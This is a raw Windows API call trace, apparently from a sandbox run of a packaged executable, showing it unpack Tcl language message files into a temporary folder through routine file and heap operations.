dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.643] GetFileType (hFile=0x10c) returned 0x1 [0037.643] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.643] CloseHandle (hObject=0x10c) returned 1 [0037.643] GetLastError () returned 0x0 [0037.643] SetLastError (dwErrCode=0x0) [0037.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nn.msg") returned 61 [0037.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nn.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.643] GetLastError () returned 0x2 [0037.643] SetLastError (dwErrCode=0x2) [0037.643] GetLastError () returned 0x2 [0037.643] SetLastError (dwErrCode=0x2) [0037.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nn.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nn.msg", lpFilePart=0x0) returned 0x3c [0037.643] GetLastError () returned 0x2 [0037.643] SetLastError (dwErrCode=0x2) [0037.643] GetLastError () returned 0x2 [0037.643] SetLastError (dwErrCode=0x2) [0037.644] GetLastError () returned 0x2 [0037.644] SetLastError (dwErrCode=0x2) [0037.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nn.msg") returned 61 [0037.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nn.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.645] GetFileType (hFile=0x10c) returned 0x1 [0037.645] htonl (hostlong=0x7c040000) returned 0x47c [0037.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.645] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x47c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x47c, lpOverlapped=0x0) returned 1 [0037.646] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.646] CloseHandle (hObject=0x10c) returned 1 [0037.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550770 | out: hHeap=0x530000) returned 1 [0037.647] htonl (hostlong=0x30000000) returned 0x30 [0037.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.647] GetFileType (hFile=0x10c) returned 0x1 [0037.647] htonl (hostlong=0xf8f5700) returned 0x578f0f [0037.647] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3f0f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.647] htonl (hostlong=0x93010000) returned 0x193 [0037.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x193) returned 0x550600 [0037.647] htonl (hostlong=0x93010000) returned 0x193 [0037.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.647] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.647] htonl (hostlong=0xbb040000) returned 0x4bb [0037.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4bb) returned 0x55e278 [0037.647] htonl (hostlong=0x93010000) returned 0x193 [0037.647] htonl (hostlong=0xbb040000) returned 0x4bb [0037.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.647] CloseHandle (hObject=0x10c) returned 1 [0037.647] GetLastError () returned 0x0 [0037.647] SetLastError (dwErrCode=0x0) [0037.648] GetLastError () returned 0x0 [0037.648] SetLastError (dwErrCode=0x0) [0037.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.648] GetFileType (hFile=0x10c) returned 0x1 [0037.648] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.648] CloseHandle (hObject=0x10c) returned 1 [0037.648] GetLastError () returned 0x0 [0037.648] SetLastError (dwErrCode=0x0) [0037.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.648] GetFileType (hFile=0x10c) returned 0x1 [0037.648] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.649] CloseHandle (hObject=0x10c) returned 1 [0037.649] GetLastError () returned 0x0 [0037.649] SetLastError (dwErrCode=0x0) [0037.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pl.msg") returned 61 [0037.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\pl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.649] GetLastError () returned 0x2 [0037.649] SetLastError (dwErrCode=0x2) [0037.649] GetLastError () returned 0x2 [0037.649] SetLastError (dwErrCode=0x2) [0037.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pl.msg", lpFilePart=0x0) returned 0x3c [0037.649] GetLastError () returned 0x2 [0037.649] SetLastError (dwErrCode=0x2) [0037.649] GetLastError () returned 0x2 [0037.649] SetLastError (dwErrCode=0x2) [0037.649] GetLastError () returned 0x2 [0037.649] SetLastError (dwErrCode=0x2) [0037.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pl.msg") returned 61 [0037.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\pl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.650] GetFileType (hFile=0x10c) returned 0x1 [0037.650] htonl (hostlong=0xbb040000) returned 0x4bb [0037.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.650] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4bb, lpOverlapped=0x0) returned 1 [0037.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.651] CloseHandle (hObject=0x10c) returned 1 [0037.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.652] htonl (hostlong=0x30000000) returned 0x30 [0037.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.652] GetFileType (hFile=0x10c) returned 0x1 [0037.652] htonl (hostlong=0xa2905700) returned 0x5790a2 [0037.652] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c40a2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.652] htonl (hostlong=0x6c010000) returned 0x16c [0037.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16c) returned 0x550600 [0037.652] htonl (hostlong=0x6c010000) returned 0x16c [0037.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.652] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.652] htonl (hostlong=0x67040000) returned 0x467 [0037.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x467) returned 0x550778 [0037.652] htonl (hostlong=0x6c010000) returned 0x16c [0037.652] htonl (hostlong=0x67040000) returned 0x467 [0037.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.652] CloseHandle (hObject=0x10c) returned 1 [0037.652] GetLastError () returned 0x0 [0037.653] SetLastError (dwErrCode=0x0) [0037.653] GetLastError () returned 0x0 [0037.653] SetLastError (dwErrCode=0x0) [0037.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.653] GetFileType (hFile=0x10c) returned 0x1 [0037.653] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.653] CloseHandle (hObject=0x10c) returned 1 [0037.653] GetLastError () returned 0x0 [0037.653] SetLastError (dwErrCode=0x0) [0037.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.653] GetFileType (hFile=0x10c) returned 0x1 [0037.653] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.654] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.654] CloseHandle (hObject=0x10c) returned 1 [0037.654] GetLastError () returned 0x0 [0037.654] SetLastError (dwErrCode=0x0) [0037.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt.msg") returned 61 [0037.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\pt.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.654] GetLastError () returned 0x2 [0037.654] SetLastError (dwErrCode=0x2) [0037.654] GetLastError () returned 0x2 [0037.654] SetLastError (dwErrCode=0x2) [0037.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt.msg", lpFilePart=0x0) returned 0x3c [0037.654] GetLastError () returned 0x2 [0037.654] SetLastError (dwErrCode=0x2) [0037.654] GetLastError () returned 0x2 [0037.654] SetLastError (dwErrCode=0x2) [0037.654] GetLastError () returned 0x2 [0037.654] SetLastError (dwErrCode=0x2) [0037.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt.msg") returned 61 [0037.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\pt.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.655] GetFileType (hFile=0x10c) returned 0x1 [0037.655] htonl (hostlong=0x67040000) returned 0x467 [0037.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.655] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x467, lpOverlapped=0x0) returned 1 [0037.656] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.656] CloseHandle (hObject=0x10c) returned 1 [0037.657] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550778 | out: hHeap=0x530000) returned 1 [0037.657] htonl (hostlong=0x30000000) returned 0x30 [0037.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.657] GetFileType (hFile=0x10c) returned 0x1 [0037.657] htonl (hostlong=0xe925700) returned 0x57920e [0037.657] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c420e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.754] htonl (hostlong=0x9f000000) returned 0x9f [0037.754] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.754] htonl (hostlong=0x9f000000) returned 0x9f [0037.754] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 